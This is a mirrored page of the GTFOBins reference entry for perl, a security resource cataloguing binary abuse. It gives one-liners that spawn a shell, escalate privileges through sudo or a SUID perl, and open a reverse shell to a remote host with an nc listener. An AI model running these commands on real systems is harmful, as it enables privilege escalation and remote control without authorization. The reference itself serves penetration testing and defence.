This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-10-25 06:46:31 +02:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
a2c4dd296541d2bb74a2140570f725bb98e17c31
GTFOBins.github.io
/
_gtfobins
/
perl.md
Emilio Pinna
0a5168dc9a
Replace default port number with 12345
2018-05-23 08:08:13 +01:00
594 B
Raw
Blame
History
functions
functions
exec-interactive
sudo-enabled
suid-enabled
reverse-shell
code
perl -e 'exec "/bin/sh";'
code
sudo perl -e 'exec "/bin/sh";'
code
./perl -e 'exec "/bin/sh";'
description
code
Run `nc -l -p 12345` to receive the shell on the other end.
export RHOST=10.0.0.1 export RPORT=12345 perl -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'